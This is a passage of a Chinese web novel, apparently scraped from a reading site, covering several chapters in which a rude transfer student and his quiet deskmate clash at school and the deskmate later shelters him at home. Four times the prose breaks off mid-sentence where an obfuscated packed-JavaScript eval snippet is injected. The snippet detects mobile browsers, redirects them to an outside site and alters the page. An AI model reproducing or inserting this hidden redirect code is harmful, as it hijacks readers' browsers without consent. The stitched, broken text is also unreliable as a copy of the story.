完全出乎意料的,江淮突然从门口进来,摆着的手臂正好被纸团打中。 他拧了下眉,另一只手把纸团接住时,不太愉悦地看着楚明。 楚明收手,把脸偏了回去:“……” 这准头真是。 江淮黑着一张脸把纸团拆开,读完就扔进垃圾桶。 他走到楚明旁边时楚明还偏向窗户假装无事发生,他压低声音不悦地说:“让我进去。” 楚明站起身来:“……哦。” “那个,新同学,”班长见江淮坐下又准备趴着睡的架势,清了嗓子说:“自习课不能睡觉,否则要扣班级分,还影响班级流动红旗和老师教评。” 江淮眉心下压着:“知道了。” 班长长舒了一口气。 “借个本子。”江淮说。 楚明正写着的手一顿:“……好。” 说完他伏着上半身,在黑色书包里摸找着。 他这一让,桌面上的内容毕览无余。 江淮草草瞥了一眼,正中的横线本上,已经写满了两行,标题为“兰亭集序”。 江淮吐出一口浊气。 楚明找到新本子,刚要交给他同桌,他同桌就冷淡地说了句:“不用了。” 楚明拿着本子:“……” 江淮抬起手臂,把桌面上的本子抽走后说了句:“我自己写。” 从布袋里摸出笔,他从嘴角哼出一声:“别整得好像我在欺负你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295014|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚明僵硬了一瞬,看着他写了好几个字,才垂下眼皮:“……嗯。” 要下课前,劳动委员说:“下下节课大扫除,这周轮到第三大列的同学,单双数排分别负责教室和公区。” “哎,又我们!” “能下课扫吗?大扫除完再去根本抢不到饭。” “服了又是大扫除,我家都一年一次呢,死学校要一周一搞!” …… “安静安静。”班长在上头倒腾着胳膊指挥交通:“等会监控看到要扣分的。” 他说完下课铃就打响了。 于是教室里的说闹声硬生生高了一倍。 “楚明,你帮我扫一下教室,谢谢啦!” “楚明,我负责公区拖地,你到时候帮个忙。” “楚明,等会儿黑板帮我擦一下呗。” …… 一下课最后一排蜂拥而至一群人,跟菜市场似的,搁这楚明楚明楚明的,江淮拧着眉看过去。 张口就骂:“能不能他妈小声点!” 围着的一圈人瞬间就安静下来。 胆大的正想压低声音继续说,就听江淮又吼了一句:“别他妈带着一身臭味跑这来祸害人,喷点香精再来招魂,我谢谢你们全家!” “……”鸦雀无声。 十几张脸各有各的窘态,在这憋了会儿气后用气声骂骂咧咧地走开了。 楚明两指指尖搓了下,往旁边看了一眼。 “下次趁我不在再摆摊。”江淮眉毛压得很深,躁气还未褪去,他的眼神很凶:“挺烦的。” 楚明点了下脑袋:“……哦。” 大扫除的时候班上只留了两三个同学,飞一般地拖完地就窜出了教室。 楚明静静看了会儿教室,拾起扫帚从前门开始往后扫。 江淮醒过来时,教室里别无他人,讲台上楚明在用湿抹布擦黑板。 校服外套没穿,短袖罩着他清瘦的身形。 他抬手时,袒露的小臂连同大臂都绷紧了些,露出分明的肌肉线条。 江淮挺意外的。 看着毫无战斗能力的人,脱了之后居然还这么有料。 看够了他才挪开眼,意识到什么似的,拧眉大声问:“人呢?” 楚明惊得抖了一下,扭头看向最后一排。 江淮才睡醒,微微泛红的脸上压着条印子,五官皱出了个不是很友好的表情。 楚明没有回答他的问题,这问题本身也不太好回答。 但江淮没罢休:“当救世主呢楚同学?” 楚明垂下了头:“……” 江淮站起身来,长腿几步跨到讲台,与他擦身而过时,声音轻飘飘的带着十足的讽刺意味:“当的明白吗?” 楚明眼睛缓慢地眨了一下,微顿后看向早已空荡的前门。 他五指收拢了些,湿帕上的脏水成股地滴到地面。 他怔了一会便回过神来,蹲下身在盆里清洗帕子。 “转同学广播——” 楚明略有所感地偏了下头,西天的晚霞泛着烧灼的橙红,绚烂的自然光色下,江淮倚靠在前门门框上,眼神凉薄。 “请高二(21)班参与大扫除的人立刻返回教室,否则通报学生会将扣除班级分。再通知一遍……” 5. 第 5 章 水渗进指甲缝里,楚明才后知后觉地意识到自己攥紧了帕子。 他缓下劲来松了力气。 “有必要提醒一下,”江淮冷冷地挑了下眉:“嘴巴是用来说话的。” 楚明怔愣了片刻,他其实看不清江淮的眼神,只觉得那双眼睛似乎死死地钉在自己身上。 带着一些讥讽和嫌弃。 楚明嘴唇极轻地动了动:“……谢谢。” 和第三大组学生一同跑回教室的还有大马猴,刚才他正坐办公室里嗦凉面,脑门嗡嗡嗡地就听响起了广播。 他瞬间整个人就不好了。 大马猴走进教室时第一时间在找楚明,找到时正想破口大骂就听江淮说:“我叫人广播的,别骂错人了。” 大马猴嘴角都歪了:“……” 只能讪讪地别了一下嘴。 楚明踩在窗台上擦窗户面上的灰尘,江淮倚靠在他身侧的墙壁,手肘顶在窗沿角落。 压根没有意识到楚明擦下来的灰可能会在他发顶成个家、立个业再开个枝散个叶…… ? 想偏了。 大马猴只得端着枪支弹药转移目标对象:“一天不说你们你们就皮痒是不是?我今天就站在这里守着你们大扫除,做不好都别去吃饭了!” 十来名同学哀怨连天地扫地拖地…… 大马猴在教室里开启了巡回演讲:“希望大家树立起浓厚的班级荣誉感,各在其位各谋其职……” 声音绕梁,久久难以散去。 “给我。”江淮见楚明帕子上积得满满一层灰,朝他伸出手心。 楚明没动,只垂下眼皮看着地上的水盆:“……我来吧。” 江淮重复了一句:“给我。” 楚明只得把帕子递给他。 江淮斜着支出去的腿立直,蹲在地上把帕子搓了一遍,拧得半干便递了回去。 楚明曲腿接过:“谢谢。” 江淮甩掉手指上挂着的水渍,又斜着站回去,冷声:“你现在屁话又过于多了。” 楚明:“……” - 晚自习九点二十分结束。 大马猴在下课前十分钟从后门走进来,招了下手:“江淮同学,来领你的教材——楚明来帮忙搬一下。” 闻声,楚明先江淮一步站了起来。 却被江淮一把拽住了袖子,冷声:“我不需要。” 说完,他抬腿跨过楚明的板凳,三两步走出了教室。 楚明伸手捋平袖子上的褶皱,重新坐了下去。 屁股还没挨到椅子,就见江淮扭头看回来,声音挺大的:“你出来。” 楚明直起身子:“……” 过道里立着几堆书,一眼扫过去约莫四五十本。 楚明在心里皱了下眉:这是……来进货还是出货啊? “你妈妈说,高一上下的书和教辅都在这里,高二只购买了教材,让你先自己补点基础再跟老师的课。”大马猴这话说得很不得劲。 哪有不上高一就直接把孩子扔来高二的家长啊! 不过到底物质层面到位了,他迁就迁就无所谓:“你看看还需要什么吗?老师认识几个书店可以帮忙买。” 江淮定定地站了半晌,抬眼看着大马猴:“原封不动地送回去,运费我给你吧。” 大马猴:“……” 他笑得跟哭丧一样:“江淮同学,你爸妈也是为了你好,你就稍稍微微服个软在学校安生地待几天,习惯了就好了。” 至少让他多盘剥盘剥点金主。 总不能干望着还没捞两笔就给金主望跑了,不划算。 “哦,行。”江淮弯身拎起一摞还带系绳的书,提起时系绳勒着手心的伤口,疼得他倒吸凉气。 楚明从他手心里把那摞书接手了。 而后微蹲身子,把另一摞也拎了起来,步调轻松地走进了教室。 江淮抬手摸了摸鼻尖:“……” “楚明同学挺能干的,你要有需求可以多找他。”大马猴说,“班级里有不认识的同学不了解的规矩都可以找他了解,挺靠谱的。” 江淮拧了下眉:“他是班长?” 大马猴愣了一下:“不是啊。” 江淮冷呵一声:“那凭什么找他?” 大马猴:“……”当即觉得呼吸都沉重起来。 他不知道为什么这新同学一来就把小透明楚明给记住了。 还连着跟自己杠了好几场,他叹了口气:“同桌之间更方便相互帮助嘛。” 江淮弯身把余下的半摞书拎起来,回教室前冷冷地说了句:“我跟他没关系。” 我犯错不是因为他没告诉我规矩。 单纯是他不想上这个破学。 就兴对着干! 楚明把座椅推进课桌里,正蹲在地上用美工刀割系绳。 江淮走回来时他往课桌下缩了一截,让开了进去的路。 这时候放学铃声响起,打扫卫生的同学今日轻松,随着大部队就离开了教室。 教室里顿时空落下来。 江淮横着坐在座椅上,埋下腰与地上蹲着的楚明视线齐平:“眼里太有活不是什么好事。” 楚明拿着美工刀的手微顿,长而密的睫毛扑闪了下,他说:“……对不起。” 江淮夺过那把小刀,怕他一抖给自己划着了,声音略带躁意:“你又对不起什么?” 楚明两手还保持着拿刀的动作,好半天手指才伸直:“我……” 江淮等不及他支支吾吾,拧眉替他说:“你未经我允许拆我书,是想说这个吧?” 楚明点了下头:“……嗯。” 江淮说:“我他妈该说谢谢,骂你个屁。” 楚明张了张嘴,没说出话来:“……” 这实在不像感谢人的语气,江淮同学。 “我是说以后别他妈乱烦我,”江淮弯腰把他没割断的系绳一把拉断,“你的那些正义感别用我身上,明白了吗?” 楚明胸腔跟压着块大石头一样,他呼吸沉了些:“……明白。” “行,”江淮把美工刀拍他桌面上:“回你的家。” “哦。”楚明把桌面上的教材和笔记本扔进书包里,双肩背好后,远远收了句:“……再见。” 江淮摆了摆手:“滚你的。” 楚明扯了下嘴角:“……” - 江淮在教室里独自坐了很久。 头顶时钟走了半格,高三年级的放学铃声响起时,他才郁闷地呼出一口浊气。 站起来,往外走。 “快快快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295015|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回寝室啦!马上寝室锁门啦!在外面悠荡的同学快回寝室!阿姨要锁门啦!” 站在2号寝室门口三四米远的树下,江淮双手插兜,眼眸平静地看着大门。 直至大门关上,宿管阿姨哼着小调上锁。 他环视四周。 绕到食堂后从高高的院墙里翻了出去。 落地时小腿崴了,他单膝跪在地上半天才站起来。 江淮拉开出租车门坐了进去:“去零号网吧,三段路那条街上的。” 司机回头打量了他一眼,没多说:“好的。” 眯了会儿觉,司机喊了他一声:“到了,到了。到了!” 江淮稀里糊涂地睁开眼,“谢了。”说完他拉住车把手,正要往外推就见车门上了锁。 司机扭头恶狠狠地看着他:“给钱啊,赖账呢你!” “……傻逼。”江淮扫了眼计价屏,把散的十五丢到了副驾驶座位上,“开门。” 司机默默无闻地在嘴里爆炒了一盘菜,才打开车门。 江淮前脚下车,后脚出租车就“呜——”地一声冲了出去。 零号网吧属于正经经营场所,不具有黑黄灰任何一种属性。 “江淮?”柜台边的小姑娘笑了笑,“还是老规矩吗?” 江淮点了下头:“嗯。” “阿越哥今天上学呢,”小姑娘正劈里啪啦打着字,“以往都见你俩一起,还说得有一阵子见不到你了呢。” 江淮不喜欢听人没话找话逼逼叨叨说个不停。 即使她是熟人。 于是偏过头,扫了眼临近几桌的电脑屏幕,除却游戏就是游戏,他正要挪开眼,就见角落里坐着个人。 一秒反应时间都没有,江淮扯回自己身份证便往外飞奔而去! “哎——”小姑娘抬头就见活人消失,搓了搓眼睛:“幻觉这么逼真,我是不是离熬夜猝死不远了……” 紧接着有个男人追了出去,两秒后又有两个飞了出去。 小姑娘:“?” 演电视呢? 三段路属于人流量贼大的街道。 早市、夜市尤其突出。 十点出头烧烤、串串还一应俱全,正火热地开张纳客,并丰盛地排水排油。 江淮跑出来没两步就被地沟油绊了一跤。 好在他有体育底子,出溜出去一截后紧急侧转,借力稳住身形腾飞出去。 “滚你妈的。”他站稳时骂了一句。 身后的人还在穷追猛赶,江淮单腿蹦跶着往人少的巷子里跑。 - 楚明坐在自行车上单腿支着地,他反手把手机塞进书包里,坐正时骑着车回家。 夏夜晚上的风最为舒适,空气里还余有热燥,夜风拂过裸露的肌肤,热切里裹着微凉。 他骑着自行车走着老路线。 穿过三段路熟悉的街巷时,他突然有种不好的预感似的,下意识按下刹车。 而后就见一个高大挺拔的黑影右膝盖一跪,在地上摔了个大马趴,又飞快跳了起来。 身后追着三个人,黑影连滚带爬地冲了出来。 大概想都没想,黑影跳上他的车抱住他的腰吼了句:“快走!” 楚明猛地一顿,回过神时两腿都快擦冒火似的蹬了起来。 6. 第 6 章 那三个人还在追。 和江淮预想的上车后飞一下就能甩开一大截距离完全不一样。 他这才注意到:“我他妈以为你开的电动车!” 楚明愣得更彻底了:怎么是江淮? 他一愣自行车的速度就慢下来,江淮甚至感觉追的那人在自己背上抓了一道,环着楚明腰的手用力拍了下他的肚子:“你别走神啊!” 楚明:“……” 他咬牙飞速地蹬腿! 自行车碾过一条街巷,转开不知道多久身后才空荡荡一条。 江淮往后看了一眼,“停!” 楚明一个急刹车,后轮胎死在地上、车屁股顿时飞天一翘! 江淮的脑袋重重地砸在了楚明的后背上。 嘶。 嘶。 两声凉气同时从两人嘴里嘶出去。 江淮捂住鼻子,一摸手里就被黏湿的液体沾上,“我操,”他胡乱抹了一把,撩起上衣往鼻子上擦时问了句:“你没事吧?” 楚明疼得背往前一凹,挺了半天痛觉才沉下去。 闻到一丝血腥味,他扭头看了眼。 才转过去他就转了回来。 脑海里还残留着刚才看到的画面——江淮的白t几乎全部兜了上去,露出半个胸膛和漂亮紧致的腰腹。 “情况紧急,冒犯到你了。”江淮胡乱处理完喷薄的鼻血,说:“你要什么补偿我都尽量,实在不好意思。” 楚明目视混沌的前方,摇了下头:“不用。” 江淮拧了下眉,抬手就掐住楚明的脖子往自己这边扳过来:“他妈的怎么是你?” 楚明脖子差点给扭断:“……” 江淮松开了手,“你怎么在这?” 楚明重重地捏紧车把手,说:“我回家。” “哦。”江淮不知道自己是怎么了,明知这会自己该软下态度说一句对不起和谢谢,但他就是有些张不开口。 直到风哗啦吹过小腿猛地抽了下疼,他才拧眉说:“我先走了。” 楚明朝前点了下头:“……嗯。” 隔了一秒他说:“医院和小诊所都在前面路口左转。” 江淮顿时有些不是滋味。 他坐在后座上,两腿艰难悬空……楚明也没催他让他快点走,而是保持着上半身下压的动作,双手攥着车把手。 江淮突然问:“你家里有人吗?” 楚明身子微僵,摇头:“没有。” 江淮霸气发言:“那我去你家。” 饶是楚明也没能把疑惑吞进喉咙,大惊失色地:“啊?” 江淮理直气壮地说:“快点!不然我死路上了晚上还来烦你。” 楚明载着这人和他可能的鬼魂一起回了家。 自行车停进区域,路灯照在头顶,他这才看清江淮的伤势。 挺严重的。 白t已然染成红t,额角一块带血的撞伤,黑裤子破了几个大洞,一双白鞋更是磨得像破烂。 “看屁,”江淮从后座上下来,“这点伤算什么。” 话刚落,他腿往下跨的时候不知道蹭到了哪,脚踝折出去时撇成让人牙齿尖叫的角度,紧接着他整个人猛地往下翻去! 楚明的胳膊被他用力一拽,江淮太沉,力气也大,楚明没兜住,瞬间两个人一齐摔到地上,头撞着头。 楚明咬着牙半站起来:“……” “靠!”江淮借着楚明的胳膊把自己拉了起来,站稳时扫了他一眼:“你没事吧?” 楚明胳膊还在他手里,被攥得特用力。 估计撩开袖子,上面至少四道深红的指印。 楚明很轻地叹了口气:“……我没事。” 江淮是被楚明扶着进屋的,期间脚趾头撞到石阶被磕了一下,之后他更是把全身的重量都压在了楚明身上。 江淮两条胳膊缠在他一只手臂上,咬牙切齿地说:“你劲儿还挺大。” 楚明累得根本回不了他的话。 楚明掏钥匙时,江淮靠着他问:“你还有劲没?” 楚明:“有。” 江淮说:“那你可以试试抱着我直接进浴室。” 楚明把钥匙一把插歪了:“……嗯?” “如果你不想拖地的话。”江淮指了指自己的上下半身:“血、油、水,物资应有尽有。” 楚明顿了一下,看着他脏不成形的衣服裤子:“我……” 江淮盯着他的嘴,见这张嘴半天就没变过形:“你他妈要说什么能直说吗?” 楚明暗暗地咬牙:“……我试试。” 门打开后,楚明退后些许,弯腰一条胳膊环过他后膝盖窝,另一条胳膊正要环过他后背,就听江淮咋呼了一声:“我操谁他妈让你公主抱啊?” 楚明手立刻就僵住了:“……那怎么……抱。” “你扛着我,”江淮正对着他,“或者这样,我跳你身上。” 楚明一时间不知道该说什么。 最后是以“他抱着江淮的腰、江淮的两条腿夹他腰上”的姿势进的浴室。 中途江淮的后脑勺磕到门上的墙壁,他猛地低下头,就势把额头压在楚明的锁骨上。 楚明被激得差点给他甩出去! 浴室里响起水声时,楚明低头看了眼自己身上。 校服衣服裤子上全是污渍——江大脾气考虑到地板会弄脏,却没考虑过不管背还是抱,他会被弄脏。 楚明沉沉地叹息:“……” 怎么就偏让他遇到了呢。 浴室里水声小了,江淮嘹亮的声音从里面传出来:“你借我身衣服!” 楚明暗暗叹了口气,从房间里取出套干净的衣服。 刚走到浴室门口,门就被拉开一大半。 楚明瞬间背过身去。 江淮捞衣服的手卡在了半空中,指头上凝出的水珠砸在了地上。 他看着楚明的背影,没好气地说:“大家都是男人有什么看不得的?” 楚明没说话,保持着这个动作把一卷衣服递过去。 浴室里水声依旧,热气漫得烟雾缭绕的。 江淮垂眸看了眼他伸过的衣服,又抬眸看了眼他微微泛红的耳垂,从齿间哼出一声:“你怕什么?” 楚明手快举酸了衣服还没被接走,随意应付了句:“没有。” 江淮没有说话。 楚明干站着,在想要不把衣服挂门把手上等江淮自己拿,忽然手腕被扣紧,他还没反应过来就被一股大力拽进了浴室。 半开的门撞了下他的肩胛骨。 痛意还没爬上神经,他就被周身赤裸的江淮单手压在了浴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295016|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室墙上。 浴室里水汽充足,站进来的一秒就感觉浑身被润湿。 尤其是现在这种大热天。 江淮的右手横着压在他锁骨上方,把楚明硬生生地顶到墙壁上,后背衣料被墙上的水渍浸得湿透了。 楚明不敢乱看,偏过头望着旁边的墙面。 江淮空着的手抬起他下颌,拇指用力,把他的脸扳向自己。 楚明来不了眼观鼻鼻观心那一套,稍微低下头便该看到些不该看的,他被迫看着江淮的眼睛。 看清时,微微一愣。 洗干净捯饬明白的江淮和白天见到的完全不像同一个人。 湿发被薅到了头顶,整张脸没有遮挡地露出来,眉眼锋利、鼻骨优越。 内双、眼形狭长,才被水浸过,眼眶一周微微发红。 楚明咽了下唾沫,不太习惯地把他往外推了下。 江淮手臂往下格挡住他不安分的两条手,下巴微抬:“你现在是我的救命恩人,我能拿你怎么样吗!你在怕什么?我有什么好怕的?” 楚明:“………………” 他可能没当过谁的救命恩人,不知道当救命恩人是要先被摁在墙上动弹不得的。 “所以我他妈没欺负你,也不会欺负你。”江淮说着松了他的下巴,弯腰从他手中拽过那把衣物,皱了下眉:“湿了。” 楚明偏了下头:“……我重新给你拿一套。” 江淮看了他一眼,觉得今晚确实事多,不能再折腾他了。 于是摆手:“不用,基本能穿。” “……嗯。” 楚明应完贴着墙边飞速走出去了,拉上浴室门的时候他重重地舒出一口长气。 把抽屉里的应急药箱打开放在桌子上,楚明又接了杯热水放好晾着。 听到浴室开门声,他抱着衣服准备进去。 和江淮擦身而过时,楚明很轻地别开了眼。 给江淮的那件白t湿得能透出里面几块腹肌轮廓。 江淮问了句:“吹风机在哪?” 楚明头也没回地说:“放客厅了。” “哦,”江淮把毛巾往头顶上一盖,转了一圈瞟到桌上敞开的药箱,他微顿,手背擦过水杯时能感受到温热。 他坐下把感冒药吃了——庸医说的良方。 他这一身伤并不轻。 洗澡的时候热水渗进带血的肉里,跟往伤口上撒盐似的,痛得他差点在浴室叫出声。 左右脚踝不同程度崴伤,右膝盖大擦伤;屁股被台阶撞过,颜色发青;后背被抓了一道,几厘米长一道伤口;脖子一周掐痕倒是淡了些。 至于脸,还好已经消肿,只额角眼尾嘴唇还留了些细痕。 江淮蘸涂伤口时,恨不能直接去泡个碘伏浴。 才清理到一半,就见楚明从浴室出来,长袖长裤,大夏天的跟捂痱子似的。 他拧了下眉:“你不热?” 楚明说:“其他衣服洗了没干。” 说完,他坐到沙发上开始吹头发。 草草吹完正打算做会儿作业,就听旁边江淮喊道:“操……你他妈能不能帮我擦一下。” 楚明:“……” 他算是发现了,这人说话带脏,有时候单纯就是掩饰自己那点尴尬。 江大面子。 7. 第 7 章 楚明走了过去。 “后脖子,我看不见。”江淮把碘伏和棉签一并放到桌上。 楚明微顿:“你……” 江淮拧眉:“我怎么你,说啊?” 楚明欲言又止,最后摇了下头:“没事。” 江淮不悦地说:“最烦你这种放屁放一半还憋回去的。” 楚明一口气差点没提起来,他沉默片刻后说:“……掐伤不是这么处理的。” 江淮顿了一下说:“管他妈的,死不了就行。” 楚明无言以对,只能蘸取碘伏在他后脖子上的掐痕一圈均匀涂抹。 处理完江大面子的伤,江大面子去厨房煮了碗面。 面香飘出来的时候楚明还在书桌上写作业。 江淮喊了一句:“你来吃一口。” 祈使句。 楚明对别人的命令式口吻有时候有种诡异的配合欲,这是他来八中之前所未曾有过的。 他把笔撂下,走了出去。 两碗番茄鸡蛋面。 煎蛋浮在面上,几乎盖了整碗。 楚明突然意识到什么似的,拉开冰箱门一看。 果然,剩下的六个蛋全没了。 楚明叹息着把冰箱门合上了:“……” 江淮并未有此察觉,三下五除二把一碗面吃完,仰在沙发上看楚明斯斯文文地挑面。 顿时皱了下眉:“有这么难以下咽吗?你要一根根地挑着吃。” 楚明险些让面条跟喉管打一架,呛咳两声后说:“……没有,挺好吃的。” 江淮别开眼,哼出一声:“那你吃快点。” “……”楚明只能挑起一大撮面往嘴里塞。 碗最后是楚明洗的,江淮两只手都有伤,沾不了水。 “你睡床吧,”楚明把卧室书桌上的作业本抱了出来,说:“我睡沙发。” 江淮偏头看了眼沙发:“你比它长。” 楚明顿了下:“能睡。” 江淮躺在床上,呈大字形平躺着。 卧室门没关,他能看到客厅里透过来的光——楚明在那挑灯夜读。 夏商周都记不明白的人大半晚上在这儿头悬梁锥刺股,接的什么苦情戏啊! 江淮翻了个身,背向客厅睡,突然想: 要是遇到的不是楚明,他这会儿会在哪? 追他的三个人他都认识,之前他爸雇在家里打扫卫生的,哪知身手贼好,就顺理成章地做了他的跆拳道陪练。 之后……就是现在了。 负责把他扔进学校。 要是刚才没跑过,他要么被押回学校寝室,要么被塞进旅馆明早一早再被亲自押去学校上课。 想来就烦。 江淮翻身又翻回去了。 客厅的灯已经熄了,窗外是盛大的蝉鸣,他视线飘过去时,模糊间能看到沙发上的人影。 楚明。 没问过他一句为什么就敢把他往家里带。 心是真他妈的大! 江淮骂着他入睡了。 - 江淮一觉睡到自然醒,醒来时半边身子都让太阳照得发烫。 空调还开着。 卧室门被虚掩着。 江淮习惯性地跳下床,被叛逆的两只脚踝拧得屁股着地狠狠摔在了地上。 这动静,江淮都怀疑是不是尾椎骨摔断了。 高低得是个粉碎性骨折。 但事实上没有骨折也没粉碎性,他拍拍屁股就站起来了。 楚明不在。 江淮洗漱时发现洗漱台多了套牙刷牙刷杯,坐到沙发上时发现时钟正对着他,显示时间“08:15a.m.” 视野范围内,没有半张纸条。 江淮拧了下眉,嘟囔了句:“正常情况下不应该留个言什么的吗?” 要真不去学校了吧江淮又有些空虚,放平时他自然有事可做且觉得心安理得。 但现在他在楚明家里,赖着也不太好。 于是他黑着一张脸去了学校。 - “……虽然说新同学给我的初印象有一点点不好,但是,我一向赏罚分明,该表扬的一定要表扬。”阿凡达的声音穿透教室墙壁。 江淮要推后门的手顿了一下。 “蒋快同学人不在的情况下,罚抄作业都交到了我办公室——你说你们那些规规矩矩坐在教室里还不交作业的人觉不觉得丢面儿!” 江淮拧眉,一把推开门,抬眼看向讲台:“老师在说谁?” 顿时全班都转过头看向后门。 楚明写着字的手抖了一下,笔尖在纸上划出长长的一道。 阿凡达明显愣了一下:“老师正表扬你呢,蒋快同学。” “是吗?”江淮倚靠着门框,说:“第一,我叫江淮;第二,我没罚抄。” 教室里瞬间鸦雀无声。 阿凡达转了下僵硬的脖子:“那我办公室里的两份罚抄……” 江淮嗤了一声后走回座位:“想好学生想疯了出现的幻觉吧。” 临近后排的几桌窃窃私语起来,满是口水声和气声。 阿凡达怒气冲冲地开始上课。 江淮坐进去时看了看窗外的风景,没什么风景,另一栋教学楼罢了。 来学校确实没什么意思。 他偏过头来看了眼楚明。 看了一会儿,他压低声音质问:“为什么不叫我?” 楚明:“……” 他依稀记得,江大面子昨晚才说:以后别烦他——没加脏话版。 他抿了抿唇:“……我忘了。” “你他妈骗人之前先过遍脑子好吗?”江淮没好气地低吼:“记得我的嘴记不到我这个人,什么傻逼逻辑。” 楚明愣住了:“?” 江淮说:“漱口杯。你是金鱼吗这点记忆力!” 楚明说:“我——” 但话还没说出口,就见阿凡达往这边甩来目光,宽厚的嗓音传过来:“楚明,我看你嘴巴张着,来跟我们讲讲这道题!” 楚明站起了身子,把幻灯片上的题扫了一眼后,说:“选C。” 江淮没忍住翘了下眉毛:这么利索? 眉毛还没翘起来就见阿凡达徒手拍讲台: “我才讲了!墨家宣扬‘非攻’,题干上这么明显一句‘攻战类乎盗贼之行为,乃大‘不义’。你看到个义就往儒家选,我怎么教你的!以后出去别说是我徐红梅教的,我嫌丢脸!” 啧。 江淮这才知道,原来这女阿凡达叫徐红梅。 历史老师徐红梅。 也是这一瞬间,他才反应过来: 他爸妈给他塞来文科班了! 操,谁他妈要学文科! 他顿时就气炸了: 送他来上学还瞧不起他?觉得他学不了理科跟不上理科吗?操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295017|182703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他妈的他又不是傻子! 他双手抱胸恶狠狠地盯着桌面,盯了一会儿往桌上一趴,死死睡过去了。 醒来是因为有堆蚊子在耳边叽叽喳喳。 他前桌的男生突然变性了,两根马尾垂在他桌面上,正催命似的叫着:“江淮同学,江淮同学……” 江淮“嘭”地一掌无声地拍在桌上:“叫屁啊叫,打扰人睡觉!” “……”女生瑟缩了下脖子,把自己两条马尾辫拖离现场,颤颤巍巍地说:“徐老师让你写检讨。” 江淮以为又是什么假传圣旨的戏码,拧了下眉:“让她亲口跟我说!” 马尾辫往后退了半个脑袋的距离:“她上课时说过,只是……你睡着了。” “说过吗?”江淮抬手拉了把楚明的袖子:“她说过吗?” 楚明猝不及防地抖了一下,才扭过头来:“……说过。” 江淮噌地站起身:“我去找她。” 马尾辫:“?” 楚明:“……” 江淮进到历史老师办公室时,徐红梅正站在饮水机前疯狂摄水,唉声连天的。 “我就没遇到过这种学生,基本的尊师重道都不懂,我又不是批评他,我是在公开表扬啊……他一句话把台子拆了,临了还说我想好学生想疯了!我要疯也是给他气疯的!” 江淮倚在门框里,说:“我只是在陈述事实,你自己要把面子挂在事实上面,事实散了面子掉了,你来这诉苦了?” 徐红梅后背猛地弓起来,几乎是跳着背过身子的,看见他时猛掐了一把人中:“你就是这么跟老师说话的!” 江淮说:“我跟谁都这么说话。” 徐红梅呵斥道:“你是一点也不顾师生情啊!” “我才来一天有个屁的情,”江淮拧了下眉:“你当419呢!” “哎哟!”徐红梅往人中狠狠一掐,两腿一蹬就往地上坐下了。 旁边办公的老师连拖带拽地把她打捞起来,有个男老师戳着他鼻子说:“你是哪个班的同学!班主任是谁!怎么一点学生的样子都没有!” “学生什么样子?”江淮反问道:“那我觉得你压根没个老师的样子。” 说着他拍开快戳到自己鼻子的手,大声说道:“谁教你这么指人的!读幼儿园没老师教你这个动作代表不礼貌吗?” 男老师被说得一懵,收回手时想骂句什么但说不出口。 只能打碎牙齿和血吞,一时间手脚高度不协调,只能愤愤地把他瞪着。 “我过来是想说,”江淮看了眼徐红梅,她还没晕过去,胸腔跟个马达似的正起伏着:“检讨我不写,我没有需要检讨的地方。” 说完他长腿跨出了办公室的门。 - 这次跑操,江淮依旧没有参加。 他坐在教室里时,和负责巡逻检查的学生会学生两目对四目,平淡地说了句:“假请了。” 学生会其一说:“是这样的,学校要求生病请假的同学也需要到操场,只是不参与跑,但还是要站到草坪上,选择自由活动或者看书背书。” 江淮烦躁地说了句:“你们屁事怎么这么多。” “没办法的事,”那同学温柔地说:“所以抱歉了哈,班级分扣0.5分。” 江淮:“……” 同学看着他继续温柔:“哦,还有,没穿校服,班级分扣0.5分。” 江淮:“……” 8. 第 8 章 “江淮同学,我一直信奉的是鼓励式教育,”大马猴坐在楚明的位置上,语重心长:“但你这样,是不是飘得太高了一点点,老师都有点够不着了。” 江淮扫了他一眼:“您想说什么?” “班级分呢,是个很重要的存在,它有一点点关系到老师的钱包,”大马猴两手搓着: 